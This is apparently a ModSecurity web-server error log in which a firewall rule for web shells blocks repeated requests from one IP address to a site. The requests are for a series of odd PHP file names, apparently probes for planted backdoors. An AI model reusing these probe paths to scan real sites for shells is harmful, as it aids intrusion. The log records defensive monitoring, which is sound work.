[Wed Apr 22 03:51:49.117083 2026] [:error] [pid 21681:tid 21694] [client 51.103.104.209:47773] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aefVVd5LmJziq-yZYawMRQAAAAQ"]
[Wed Apr 22 03:51:52.810162 2026] [:error] [pid 21683:tid 21753] [client 51.103.104.209:47751] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aefVWFZBWT-0diZyYyZQ2QAAAIM"]
[Wed Apr 22 03:51:53.797762 2026] [:error] [pid 21788:tid 21792] [client 51.103.104.209:6133] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aefVWX7OM27rzVpef24zjQAAAMI"]
[Wed Apr 22 03:51:54.457474 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:46030] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aefVWkTXx_lUa7xwAb5sFAAAAQY"]
[Wed Apr 22 03:51:55.485233 2026] [:error] [pid 21682:tid 21743] [client 51.103.104.209:46065] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aefVW5lXWQZUlmPHS3rLSwAAAFQ"]
[Wed Apr 22 03:51:56.465035 2026] [:error] [pid 21681:tid 21692] [client 51.103.104.209:48492] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aefVXN5LmJziq-yZYawMTgAAAAI"]
[Wed Apr 22 03:51:57.293540 2026] [:error] [pid 23041:tid 23059] [client 51.103.104.209:44703] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aefVXUTXx_lUa7xwAb5sIQAAAQ8"]
[Wed Apr 22 03:51:59.241323 2026] [:error] [pid 21683:tid 21773] [client 51.103.104.209:60887] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aefVX1ZBWT-0diZyYyZQ5AAAAJc"]
[Wed Apr 22 03:52:03.348878 2026] [:error] [pid 21788:tid 21805] [client 51.103.104.209:54321] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aefVY37OM27rzVpef24zoAAAAM8"]
[Wed Apr 22 03:52:07.904348 2026] [:error] [pid 21788:tid 21800] [client 51.103.104.209:40649] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aefVZ37OM27rzVpef24zrgAAAMo"]
[Wed Apr 22 03:52:09.970152 2026] [:error] [pid 23041:tid 23056] [client 51.103.104.209:41754] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aefVaUTXx_lUa7xwAb5sOgAAAQw"]
[Wed Apr 22 03:52:11.012615 2026] [:error] [pid 21788:tid 21793] [client 51.103.104.209:46053] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aefVa37OM27rzVpef24zvAAAAMM"]
[Wed Apr 22 03:52:12.724776 2026] [:error] [pid 23041:tid 23063] [client 51.103.104.209:36190] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aefVbETXx_lUa7xwAb5sSwAAARM"]
[Wed Apr 22 03:52:13.623198 2026] [:error] [pid 23041:tid 23053] [client 51.103.104.209:62271] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aefVbUTXx_lUa7xwAb5sUgAAAQk"]
[Wed Apr 22 03:52:14.666847 2026] [:error] [pid 21788:tid 21802] [client 51.103.104.209:43014] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aefVbn7OM27rzVpef24zwwAAAMw"]
[Wed Apr 22 03:52:15.423790 2026] [:error] [pid 23041:tid 23067] [client 51.103.104.209:40137] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aefVb0TXx_lUa7xwAb5sVQAAARc"]
[Wed Apr 22 03:52:19.560209 2026] [:error] [pid 21788:tid 21804] [client 51.103.104.209:40151] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aefVc37OM27rzVpef24z1AAAAM4"]
[Wed Apr 22 03:52:22.887312 2026] [:error] [pid 21681:tid 21704] [client 51.103.104.209:5954] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aefVdt5LmJziq-yZYawMdgAAAA4"]
[Wed Apr 22 03:52:25.929174 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:59374] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aefVeX7OM27rzVpef24z6wAAAMc"]
[Wed Apr 22 03:53:13.568448 2026] [:error] [pid 21681:tid 21711] [client 51.103.104.209:62232] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aefVqd5LmJziq-yZYawM8AAAABU"]
[Wed Apr 22 03:53:14.717435 2026] [:error] [pid 21788:tid 21813] [client 51.103.104.209:59728] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aefVqn7OM27rzVpef240PgAAANc"]
[Wed Apr 22 03:53:15.552875 2026] [:error] [pid 21788:tid 21802] [client 51.103.104.209:46782] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aefVq37OM27rzVpef240QQAAAMw"]
[Wed Apr 22 03:53:16.214517 2026] [:error] [pid 21788:tid 21805] [client 51.103.104.209:48214] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aefVrH7OM27rzVpef240QwAAAM8"]
[Wed Apr 22 03:53:17.230492 2026] [:error] [pid 21788:tid 21792] [client 51.103.104.209:53553] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aefVrX7OM27rzVpef240TQAAAMI"]
[Wed Apr 22 03:53:18.728405 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:53551] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aefVrkTXx_lUa7xwAb5tWAAAAQE"]
[Wed Apr 22 03:53:22.337792 2026] [:error] [pid 21681:tid 21697] [client 51.103.104.209:46773] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aefVst5LmJziq-yZYawM-AAAAAc"]
[Wed Apr 22 03:53:27.903690 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:36788] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aefVt37OM27rzVpef240cgAAAMc"]
[Wed Apr 22 03:53:30.433392 2026] [:error] [pid 21788:tid 21792] [client 51.103.104.209:61195] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aefVun7OM27rzVpef240eQAAAMI"]
[Wed Apr 22 03:53:33.099382 2026] [:error] [pid 21683:tid 21759] [client 51.103.104.209:44978] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aefVvVZBWT-0diZyYyZRRQAAAIk"]
[Wed Apr 22 03:53:34.601110 2026] [:error] [pid 21788:tid 21810] [client 51.103.104.209:6071] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aefVvn7OM27rzVpef240fgAAANQ"]
[Wed Apr 22 03:53:35.448429 2026] [:error] [pid 21682:tid 21738] [client 51.103.104.209:64709] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aefVv5lXWQZUlmPHS3rLuwAAAE8"]
[Wed Apr 22 03:53:36.147271 2026] [:error] [pid 21788:tid 21806] [client 51.103.104.209:64694] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aefVwH7OM27rzVpef240gQAAANA"]
[Wed Apr 22 03:53:36.882648 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:44408] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aefVwETXx_lUa7xwAb5t4gAAAQE"]
[Wed Apr 22 03:53:37.731644 2026] [:error] [pid 23041:tid 23056] [client 51.103.104.209:46983] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aefVwUTXx_lUa7xwAb5t5QAAAQw"]
[Wed Apr 22 03:53:38.435785 2026] [:error] [pid 23041:tid 23054] [client 51.103.104.209:44929] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aefVwkTXx_lUa7xwAb5t6gAAAQo"]
[Wed Apr 22 03:53:39.160879 2026] [:error] [pid 21683:tid 21765] [client 51.103.104.209:6039] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aefVw1ZBWT-0diZyYyZRUQAAAI8"]
[Wed Apr 22 03:53:40.022767 2026] [:error] [pid 21788:tid 21809] [client 51.103.104.209:59749] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aefVxH7OM27rzVpef240hgAAANM"]
[Wed Apr 22 03:53:41.144803 2026] [:error] [pid 21681:tid 21707] [client 51.103.104.209:64700] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aefVxd5LmJziq-yZYawNBwAAABE"]
[Wed Apr 22 03:53:41.998986 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:49643] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aefVxUTXx_lUa7xwAb5t9QAAAQA"]
[Wed Apr 22 03:53:42.886998 2026] [:error] [pid 21682:tid 21726] [client 51.103.104.209:62814] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aefVxplXWQZUlmPHS3rLvgAAAEM"]
[Wed Apr 22 03:53:43.907807 2026] [:error] [pid 23041:tid 23048] [client 51.103.104.209:46754] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aefVx0TXx_lUa7xwAb5uAgAAAQQ"]
[Wed Apr 22 03:53:44.477710 2026] [:error] [pid 21682:tid 21733] [client 51.103.104.209:62827] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aefVyJlXWQZUlmPHS3rLwAAAAEo"]
[Wed Apr 22 03:53:45.129506 2026] [:error] [pid 21682:tid 21736] [client 51.103.104.209:44384] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aefVyZlXWQZUlmPHS3rLwQAAAE0"]
[Wed Apr 22 03:53:45.830564 2026] [:error] [pid 21683:tid 21762] [client 51.103.104.209:35555] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aefVyVZBWT-0diZyYyZRXgAAAIw"]
[Wed Apr 22 03:53:46.412154 2026] [:error] [pid 21788:tid 21796] [client 51.103.104.209:35552] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aefVyn7OM27rzVpef240igAAAMY"]
[Wed Apr 22 03:53:47.099414 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:62800] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aefVy0TXx_lUa7xwAb5uGQAAAQE"]
[Wed Apr 22 03:53:47.729929 2026] [:error] [pid 21788:tid 21810] [client 51.103.104.209:35554] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aefVy37OM27rzVpef240jQAAANQ"]
[Wed Apr 22 03:53:48.534419 2026] [:error] [pid 21683:tid 21758] [client 51.103.104.209:35562] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aefVzFZBWT-0diZyYyZRYwAAAIg"]
[Wed Apr 22 03:53:49.981686 2026] [:error] [pid 21683:tid 21752] [client 51.103.104.209:62830] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aefVzVZBWT-0diZyYyZRZQAAAII"]
[Wed Apr 22 03:53:51.320300 2026] [:error] [pid 21682:tid 21738] [client 51.103.104.209:59729] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aefVz5lXWQZUlmPHS3rLxwAAAE8"]
[Wed Apr 22 03:53:52.337301 2026] [:error] [pid 23041:tid 23067] [client 51.103.104.209:35566] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aefV0ETXx_lUa7xwAb5uMAAAARc"]
[Wed Apr 22 03:53:55.206076 2026] [:error] [pid 21788:tid 21809] [client 51.103.104.209:51534] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aefV037OM27rzVpef240kwAAANM"]
[Wed Apr 22 03:53:55.897686 2026] [:error] [pid 21683:tid 21757] [client 51.103.104.209:42300] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aefV01ZBWT-0diZyYyZRbwAAAIc"]
[Wed Apr 22 03:53:56.762812 2026] [:error] [pid 21682:tid 21743] [client 51.103.104.209:37224] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aefV1JlXWQZUlmPHS3rLzAAAAFQ"]
[Wed Apr 22 03:53:58.274213 2026] [:error] [pid 23041:tid 23068] [client 51.103.104.209:56495] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aefV1kTXx_lUa7xwAb5uUAAAARg"]
[Wed Apr 22 03:54:00.547719 2026] [:error] [pid 21788:tid 21803] [client 51.103.104.209:52709] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aefV2H7OM27rzVpef240owAAAM0"]
[Wed Apr 22 03:54:02.070355 2026] [:error] [pid 23041:tid 23057] [client 51.103.104.209:43434] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aefV2kTXx_lUa7xwAb5uYAAAAQ0"]
